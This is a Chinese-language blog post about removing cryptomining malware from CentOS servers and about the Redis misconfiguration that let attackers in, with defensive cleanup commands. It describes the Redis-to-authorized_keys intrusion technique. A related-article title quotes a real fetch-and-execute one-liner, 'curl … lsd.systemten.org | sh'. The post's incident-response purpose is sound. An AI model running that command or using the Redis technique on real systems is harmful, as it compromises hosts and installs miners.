因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案。

服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异常进程,当然有一些挖矿病毒稍微高级一些,比如pamdicks,它的进程是隐藏的,通过unhide命令或者使用sysdig命令可以查看。

挖矿病毒的特点:

1、文件/定时任务删除失败-------------------文件只读属性保护

2、文件/定时任务删完又出现-----------------系统文件替换/下载进程残留

3、病毒进程刚刚删完又被拉起---------------恶意进程守护

4、主机严重卡顿但找不到挖矿进程-----------系统命令劫持

5、主机杀干净后一段时间又出现病毒---------ssh&漏洞再次入侵

当服务器中挖矿病毒后,很有可能系统命令被黑客替换,导致执行某系统命令时,有可能执行被黑客注入到服务器的恶意程序,所以服务器上最好提前安装个busybox。

1、  pnscan

比较有名的挖矿蠕虫病毒,攻击手段为通过redis感染服务器,如果redis的端口为默认的6379且暴露在公网上,且没有设置客户端连接密码认证,很容易感染,这个病毒是分级别的,好在我遇到的是比较简单的,解决方法如下
(1)首先通过busybox top查看pnscan的路径,

(2)删除pnscan,可能文件是只读的,不能被删除,需要通过busybox lsattr 文件名查看文件的属性,一般属性是-a或者-i,然后执行busybox chattr –a/-i 文件名更改文件属性后即可删除

(3)杀掉pnscan相关进程

2、rshim

挖矿病毒的一种,常见于以root用户启动redis服务,并且redis使用默认端口,导致6379端口被攻击。解决方法跟pnscan差不多,在查找文件和进程的时候,发现由hilde用户执行,在home目录下多了个hilde目录,里面创建了免密登录的公钥,需要hilde整个目录删除,之后执行userdel –r hilde删除该用户

图片没截全,简单看看就行

3、[scan]

这个具体不清楚是什么病毒,看网上说也是通过redis进行攻击的,本次cpu占满也是因为这个进程,解决方案跟上面相似,也是先查路径,再删文件,再杀进程。通过查看它的文件,我们可以看到如下图所示的代码。

通过它的脚本看到redis-cli –h….相关的代码,查看进程发现果然多了一个redis-cli的进程。具体是什么作用,这里不做研究,只知道要把脚本删掉,把这个进程杀掉就可以了。

然后我在查看磁盘空间的时候,发现根目录磁盘使用情况不太正常,推测应该是被脚本恶意生成了隐藏文件,我进入到根目录下ls –a查看,发现多出了很多如下图所示的文件。

都是.r.*这种格式的文件,查了一下发现这种文件有四万多个,果断删掉,把这些文件删掉后,再查看磁盘使用情况,已经正常了。

4、pamdicks

这是我之前工作就遇到过的挖矿木马,也是第一个遇到的,当时没什么经验,弄到很晚,这里有朋友圈为证

可以看出来啊,这个木马特别的猛啊,8核的cpu瞬间干满,不断启动pamdicks进程,服务器不断重启,操作起来特别卡。解决方案就是删除原文件,并创建一个顶包空文件,然后使用系统chattr对其进行锁定禁止修改。命令如下。

rm -rf /usr/bin/pamdicks /bin/pamdicks

touch /usr/bin/pamdicks /bin/pamdicks

chattr +i /usr/bin/pamdicks /bin/pamdicks

然后再杀进程就可以了。

本次服务器被入侵,被人植入了密钥文件,导致入侵者可以免密登录服务器,在redis中看到了一个很奇怪的key,它的value的意思是一个定时任务通过curl下载某个sh脚本,并执行,看到网上的一位博主,总结的很好,它总结的原因如下。

1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。

2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。

3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。

建议:redis一定要设密码,改端口,端口尽量不要对外开放。

不要以为在外网redis的端口不通就没有事情。只要内网里有机器感染了病毒,就可以继续感染。

挖矿病毒分析(centos7)的更多相关文章

  1. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  2. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  3. 挖矿病毒DDG的分析与清除

    注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...

  4. 挖矿病毒、ddos入侵流程及溯源

    一 挖矿病毒简介  攻击者利用相关安全隐患向目标机器种植病毒的行为. 二 攻击方式 攻击者通常利用弱口令.未授权.代码执行.命令执行等漏洞进行传播.示例如下: 示例1:   POST /tmUnblo ...

  5. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

  6. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  7. 5.Windows应急响应:挖矿病毒

    0x00 前言 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒 传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降, 电脑温度升 ...

  8. 记一次生产主机中挖矿病毒"kintegrityds"处理过程!

    [记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ...

  9. Windows Azure Virtual Machine (39) 清除Linux挖矿病毒

    <Windows Azure Platform 系列文章目录> 1.之前客户遇到了Azure Linux CPU 100%,症状如下: 2.SSH登录到Linux,查看crontab,有从 ...

随机推荐

  1. Oneops运维系统

      背景:公司对接其他系统时都会将业务分为几大模块由不同的人员去开发部署.那么部署方式为传统方式登录服务器,然后操作.所以每次上线我们可能都需要等待别的同事操作完才能操作自己所负责的业务系统.针对以上 ...

  2. python中文及符号检测工具带GUI界面

    import tkinter import webbrowser import re #本程序是一个中文字符和中文检测工具 #中文字符自己添加,我只添加了一点 #输入字符串,点击检查文本即可判断有没有 ...

  3. json知识点总结(一)--基础介绍

    前言 JSON是一种轻量化的数据编码方式它不依赖于编程语言是独立的文本格式.和xml相比JSON具有格式简洁,转译速度快的特点,因此现在被广泛使用.JSON的本质是字符串,采用了特定的分隔方式对字符串 ...

  4. J20航模遥控器开源项目系列教程(五)| 制作STM32F0接收机,8路PWM输出,SBUS输出,PPM输出 | 加密狗无线化,畅玩飞行模拟器

    我们的开源宗旨:自由 协调 开放 合作 共享 拥抱开源,丰富国内开源生态,开展多人运动,欢迎加入我们哈~ 和一群志同道合的人,做自己所热爱的事! 项目开源地址:https://github.com/J ...

  5. 在Unity中用UGUI制作可输入下拉框

    Unity中UGUI制作可输入下拉框 目录 Unity中UGUI制作可输入下拉框 前言 组件分析 制作流程 总结 前言 在搜索引擎以及一些网页中我们常常可以看见这样一种UI控件,看上去是一个输入框,在 ...

  6. C#XmlHelper帮助类操作Xml文档的通用方法汇总

    前言 该篇文章主要总结的是自己平时工作中使用频率比较高的Xml文档操作的一些常用方法和收集网上写的比较好的一些通用Xml文档操作的方法(主要包括Xml序列化和反序列化,Xml文件读取,Xml文档节点内 ...

  7. 请说一说Servlet的生命周期?

    servlet有良好的生存期的定义,包括加载和实例化.初始化.处理请求以及服务结束.这个生存期由javax.servlet.Servlet接口的init,service和destroy方法表达. Se ...

  8. vs code下代码提示图标的含义(c++)

    其实不同的语言这些东西的含义还有不同 但差别也不是很大,比如Python中的那个大括号图标就成了模块(module)了

  9. ROS环境变量的设置

    一.前言(大神可以直接跳过) 本博客主要就是为了介绍ROS中环境变量的设置过程,还不是很了解ROS的可以去看一下我的博客,ROS简介-从零开始讲解ROS(适合超零基础阅读) ROS为什么需要设置环境变 ...

  10. CSS中宽度与高度

    div的高度 div由的高度是由它里面的字体乘以字体建议的行高确定,跟这个字体大小没有关系(不同字体相同字体大小,会影响div的高度.)如过明确告诉浏览器行高,div高度就是行高. 文字两端对齐: 文 ...